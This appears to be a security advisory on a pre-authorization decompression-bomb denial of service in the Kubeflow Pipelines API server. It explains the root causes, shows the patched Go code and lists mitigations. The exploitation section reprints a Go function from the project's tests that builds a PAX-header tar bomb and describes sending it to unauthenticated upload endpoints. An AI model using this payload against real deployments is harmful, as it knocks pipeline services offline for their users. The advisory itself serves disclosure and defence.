CVE-2026-118761: Pre-Authorization Decompression Bomb Denial of Service in Kubeflow Pipelines API Server

Kubeflow Pipelines provides an orchestration platform for building and deploying portable machine learning workflows on Kubernetes. A core component of this architecture is the API server (ml-pipeline-apiserver), which exposes HTTP and gRPC endpoints for managing pipelines, pipeline versions, experiments, and runs. Users register workflows by uploading compiled pipeline definitions packaged as YAML files or compressed archives (.zip, .tar.gz, or .tgz).

In Kubeflow Pipelines versions prior to 2.18.0, the archive extraction routines within the API server and the artifact reader in the persistence agent are vulnerable to resource exhaustion via data amplification (CWE-409: Improper Handling of Highly Compressed Data and CWE-400: Uncontrolled Resource Consumption). When processing an uploaded pipeline archive, the API server validates the size of the incoming compressed payload against a configured limit (common.MaxFileLength, defaulting to 32 MB), but fails to restrict the size of the decompressed output stream in memory.

Compounding the severity of this flaw is an architectural ordering issue within the multipart HTTP upload handlers (/apis/v1beta1/pipelines/upload and /apis/v2beta1/pipelines/upload). While remote URL-import handlers verify caller authorization before fetching and decompressing external archives, the multipart upload handlers extract and read the uploaded archive prior to evaluating namespace-level role-based access control (RBAC) permissions. Consequently, any network-reachable caller can force the API server to allocate arbitrary amounts of heap memory without possessing valid pipeline creation privileges.

When a small archive containing highly repetitive compressed data is submitted to these endpoints, the Go runtime attempts to buffer the entire uncompressed stream in memory. This rapidly depletes available RAM, causing the Go runtime to panic or the Linux kernel cgroup Out-Of-Memory (OOM) killer to terminate the ml-pipeline-apiserver container, resulting in a complete denial of service for pipeline management operations.

The root cause of CVE-2026-118761 spans four distinct technical flaws across the archive parsing utilities and HTTP client handlers in the Kubeflow Pipelines backend. The primary failure occurs in backend/src/apiserver/server/util.go, where the functions loadFile, DecompressPipelineTarball, and DecompressPipelineZip read uncompressed data into memory buffers before validating their length.

In loadFile, the function initialized a bufio.Reader and executed an unbounded for loop reading chunks of bufio.MaxScanTokenSize (64 KB), appending each chunk to a growing pipelineFile byte slice until io.EOF was reached. Only after the entire stream was buffered in memory did the function check whether len(pipelineFile) > MaxFileLength. Similarly, both DecompressPipelineTarball and DecompressPipelineZip invoked io.ReadAll() directly on the underlying tar.Reader and zip.File readers without wrapping them in a bounded reader.

Beyond single-file extraction, a secondary vulnerability vector exists in the way Go's standard library archive/tar package handles TAR archive traversal and metadata. When iterating through entries in a tarball using tarReader.Next(), the parser automatically skips leftover file padding and decodes PAX extended headers (tar.TypeXHeader) into memory before returning the target file header. An attacker can construct a TAR archive containing numerous decoy entries or oversized PAX metadata records preceding the target pipeline.yaml file. Even if individual file reads are capped, unconstrained calls to tarReader.Next() allow an archive to exhaust memory or CPU during header traversal.

Furthermore, subtle edge cases existed around boundary checks during TAR traversal. If a bounded reader wrapped the underlying gzip.Reader with an exact byte budget equal to traversalBudget, and tarReader.Next() consumed the final byte of that budget while simultaneously hitting io.EOF, checking for io.EOF prior to checking budget exhaustion could cause the parser to misinterpret a truncated bomb as a clean end-of-archive. Finally, in backend/src/agent/persistence/client/artifactclient/client.go, the persistence agent's ReadArtifact method also called io.ReadAll(resp.Body) without enforcing response size limits, exposing the agent to memory exhaustion when reading artifacts from storage.

The remediation was implemented across two pull requests: PR #14171 (commit 1121d9a081fdf9e2107c39abb2cd8947727c6953) and PR #14186 (commit ba9ae72cc860e3afbea232185e4132fc2896cac5). The patches replace unbounded reads with io.LimitReader, introduce a total archive traversal budget for tarballs, and implement saturating arithmetic helpers to prevent integer overflows when calculating sentinel limits.

In backend/src/apiserver/server/util.go, the vulnerable loadFile loop and io.ReadAll calls were replaced with io.LimitReader bounded to MaxFileLength + 1. Reading one byte past the maximum allowed length allows the application to detect oversized inputs deterministically without allocating memory beyond the limit:

// Patched loadFile in backend/src/apiserver/server/util.go
func loadFile(fileReader io.Reader, MaxFileLength int) ([]byte, error) {
	// Wrap reader with a +1 sentinel byte using saturating addition to prevent int64 overflow
	limitedReader := io.LimitReader(fileReader, util.SaturatingAdd(int64(MaxFileLength), 1))
	pipelineFile, err := io.ReadAll(limitedReader)
	if err != nil {
		return nil, util.NewInvalidInputErrorWithDetails(err, "Error read pipeline file")
	}
	if len(pipelineFile) > MaxFileLength {
		return nil, util.NewInvalidInputError(
			"File size too large. Maximum supported size: %v", MaxFileLength)
	}
	return pipelineFile, nil
}

To address TAR metadata and padding amplification during tarReader.Next() calls, PR #14186 introduced util.ArchiveTraversalBudget(int64(maxFileLength)), which caps total decompressed bytes processed across the entire gzip stream (file content plus TAR headers and PAX records). The gzipReader is wrapped in an io.LimitedReader initialized with N: traversalBudget + 1:

// Patched decompressPipelineTarball in backend/src/apiserver/server/util.go
func decompressPipelineTarball(compressedFile []byte, maxFileLength int) ([]byte, error) {
	gzipReader, err := gzip.NewReader(bytes.NewReader(compressedFile))
	if err != nil {
		return nil, util.NewInvalidInputErrorWithDetails(err, "Error extracting pipeline from the tarball file. Not a valid tarball file")
	}
 
	traversalBudget := util.ArchiveTraversalBudget(int64(maxFileLength))
	// +1 sentinel byte allows distinguishing exact-budget reads from budget exhaustion
	limitedGzipReader := &io.LimitedReader{R: gzipReader, N: traversalBudget + 1}
 
	tarReader := tar.NewReader(limitedGzipReader)
	for {
		header, err := tarReader.Next()
		// CRITICAL: Check budget exhaustion BEFORE checking io.EOF
		if limitedGzipReader.N <= 0 {
			return nil, util.NewInvalidInputError("Archive extraction exceeded traversal budget of %v bytes", traversalBudget)
		}
		if errors.Is(err, io.EOF) {
			tarReader = nil
			break
		}
		if err != nil {
			return nil, util.NewInvalidInputErrorWithDetails(err, "Error extracting pipeline from the tarball file. Not a valid tarball file")
		}
		if header.Typeflag == tar.TypeReg {
			break
		}
	}
	// ... [Fallback logic if no regular file found] ...
 
	// Bound the target file read to maxFileLength + 1
	limitedReader := io.LimitReader(tarReader, util.SaturatingAdd(int64(maxFileLength), 1))
	decompressedFile, err := io.ReadAll(limitedReader)
	if limitedGzipReader.N <= 0 {
		return nil, util.NewInvalidInputError("Archive extraction exceeded traversal budget of %v bytes", traversalBudget)
	}
	if err != nil {
		return nil, util.NewInvalidInputErrorWithDetails(err, "Error reading pipeline YAML from the tarball file")
	}
	if len(decompressedFile) > maxFileLength {
		return nil, util.NewInvalidInputError("Decompressed file size too large. Maximum supported size: %v bytes", maxFileLength)
	}
	return decompressedFile, err
}

The two-stage fix in PR #14171 and PR #14186 is comprehensive regarding memory bounding. By enforcing both per-file limits (maxFileLength + 1) and stream-wide decompression budgets (traversalBudget + 1), and checking limitedGzipReader.N <= 0 prior to evaluating io.EOF, the patch prevents both simple file amplification bombs and complex PAX header traversal bombs. However, note that multipart upload decompression still occurs prior to authorization; the fix mitigates the impact by bounding the maximum memory allocation per request rather than reordering the authentication/authorization middleware.

Exploiting CVE-2026-118761 requires network connectivity to the Kubeflow Pipelines API server HTTP interface (commonly exposed on port 8888 internally or routed via an ingress gateway at /pipeline or /apis). Because decompression happens before namespace authorization in the multipart upload handlers, an attacker does not need valid pipeline creation privileges in a target namespace.

An attacker can exploit the vulnerability using two distinct payload construction techniques demonstrated in the official regression test suite (backend/src/apiserver/server/util_test.go and backend/src/common/util/tgz_test.go). The first technique is a direct file amplification bomb, where a large buffer of null bytes or repeating characters (e.g., 2 GB to 10 GB) is compressed into a pipeline.yaml entry inside a .zip or .tar.gz archive. Due to DEFLATE/gzip compression ratios on uniform data, a 10 GB stream compresses down to approximately 10 MB, easily passing the 32 MB compressed upload limit.

The second technique targets the TAR parser's internal metadata handling by constructing a pre-target PAX metadata bomb. As shown in the regression test fixture below, an attacker can write multiple decoy files containing ~700 KB PAX comment records (staying just beneath Go archive/tar's 1 MiB per-header limit) prior to the actual pipeline.yaml entry:

func createPreTargetPaxBomb(targetName string, targetContent string, paxPayloadBytes int64) []byte {
    var buf bytes.Buffer
    tw := tar.NewWriter(&buf)
 
    const maxPaxPerDecoy = 700 * 1024 // Split across decoys under archive/tar 1 MiB limit
    numDecoys := int((paxPayloadBytes + maxPaxPerDecoy - 1) / maxPaxPerDecoy)
    remainingPayload := paxPayloadBytes
 
    for i := 0; i < numDecoys; i++ {
        payloadForThisDecoy := remainingPayload
        if payloadForThisDecoy > maxPaxPerDecoy {
            payloadForThisDecoy = maxPaxPerDecoy
        }
        remainingPayload -= payloadForThisDecoy
 
        paxValue := fmt.Sprintf("%d comment=%s\n", payloadForThisDecoy, bytes.Repeat([]byte("x"), int(payloadForThisDecoy)-20))
        tw.WriteHeader(&tar.Header{
            Typeflag:   tar.TypeReg,
            Name:       fmt.Sprintf("decoy-%d.txt", i),
            Mode:       0600,
            Size:       1,
            PAXRecords: map[string]string{"comment": paxValue},
        })
        tw.Write([]byte("x"))
    }
 
    tw.WriteHeader(&tar.Header{
        Typeflag: tar.TypeReg,
        Name:     targetName,
        Mode:     0600,
        Size:     int64(len(targetContent)),
    })
    tw.Write([]byte(targetContent))
    tw.Close()
 
    var gzBuf bytes.Buffer
    gw := gzip.NewWriter(&gzBuf)
    gw.Write(buf.Bytes())
    gw.Close()
    return gzBuf.Bytes()
}

Once generated, the attacker transmits the archive via a standard multipart form POST request to /apis/v1beta1/pipelines/upload or /apis/v2beta1/pipelines/upload (or the /apis/v2beta1/pipelines/upload_version endpoint). To amplify the impact or bypass per-stream limits in partially mitigated environments, an attacker can send multiple concurrent upload requests, rapidly exhausting the pod's memory allocation.

CVE-2026-118761 carries a CVSS v3.1 base score of 7.5 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. The vulnerability exclusively impacts system availability (A:H), with no direct impact on confidentiality (C:N) or integrity (I:N). The Attack Complexity is Low (AC:L) and Privileges Required is None (PR:N) because multipart archive extraction executes before namespace authorization checks.

When exploited, the ml-pipeline-apiserver process consumes memory until it hits the Kubernetes pod memory limit (resources.limits.memory) or exhausts available node memory. The Linux kernel cgroup OOM killer then terminates the container with exit code 137 (OOMKilled). While the API server is down or caught in a CrashLoopBackOff state due to repeated requests, all Kubeflow Pipelines control-plane operations fail. Users cannot upload pipelines, trigger scheduled runs, query experiment metadata, or view pipeline statuses in the UI.

If the Kubernetes deployment manifest for ml-pipeline-apiserver lacks explicit memory resource limits, the memory exhaustion can spill over to the underlying Kubernetes worker node. This can cause node-level memory pressure, triggering eviction of co-located pods or destabilizing the kubelet.

According to FIRST.org Exploit Prediction Scoring System (EPSS) data, the vulnerability has an EPSS score of 0.00495 (0.50%), placing it in the 42.47th percentile. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, because functional reproduction code is publicly available in the project's unit tests, targeted exploitation against exposed Kubeflow instances is straightforward.

The primary remediation is to upgrade Kubeflow Pipelines to version 2.18.0 or later, which incorporates commits 1121d9a081fdf9e2107c39abb2cd8947727c6953 and ba9ae72cc860e3afbea232185e4132fc2896cac5. In version 2.18.0, all archive extraction paths in the API server and artifact response readers in the persistence agent enforce strict upper bounds on uncompressed byte streams and TAR metadata traversal.

> [!NOTE] > Upgrading to 2.18.0 bounds the maximum decompressed size of a single archive to MaxFileLength (32 MB by default) plus a fixed traversal overhead. However, because multipart decompression still occurs before namespace authorization, operators should also implement network-level access controls to prevent unauthenticated callers from sending high volumes of concurrent upload requests.

For environments where an immediate upgrade to 2.18.0 is not feasible, security engineers should apply the following defense-in-depth mitigations:

1. Enforce Gateway Authentication and Authorization: Configure the ingress controller or service mesh (such as Istio AuthorizationPolicy or oauth2-proxy) to require valid authentication tokens and verify route-level access before forwarding requests to /apis/v1beta1/pipelines/upload* and /apis/v2beta1/pipelines/upload*.
2. Restrict Network Exposure: Use Kubernetes NetworkPolicy resources to restrict ingress traffic to the ml-pipeline / ml-pipeline-apiserver pod on port 8888, allowing connections only from trusted ingress proxies and internal Kubeflow components.
3. Configure Ingress Body Size Limits: Lower the maximum allowed HTTP request body size at the reverse proxy or ingress layer (for example, setting nginx.ingress.kubernetes.io/proxy-body-size: "5m") for pipeline upload routes to limit the size of compressed archives that can reach the API server.
4. Enforce Kubernetes Pod Memory Limits: Verify that the ml-pipeline-apiserver deployment specifies strict resources.limits.memory and resources.requests.memory values so that an OOM condition is contained to the pod and cannot starve the underlying Kubernetes node.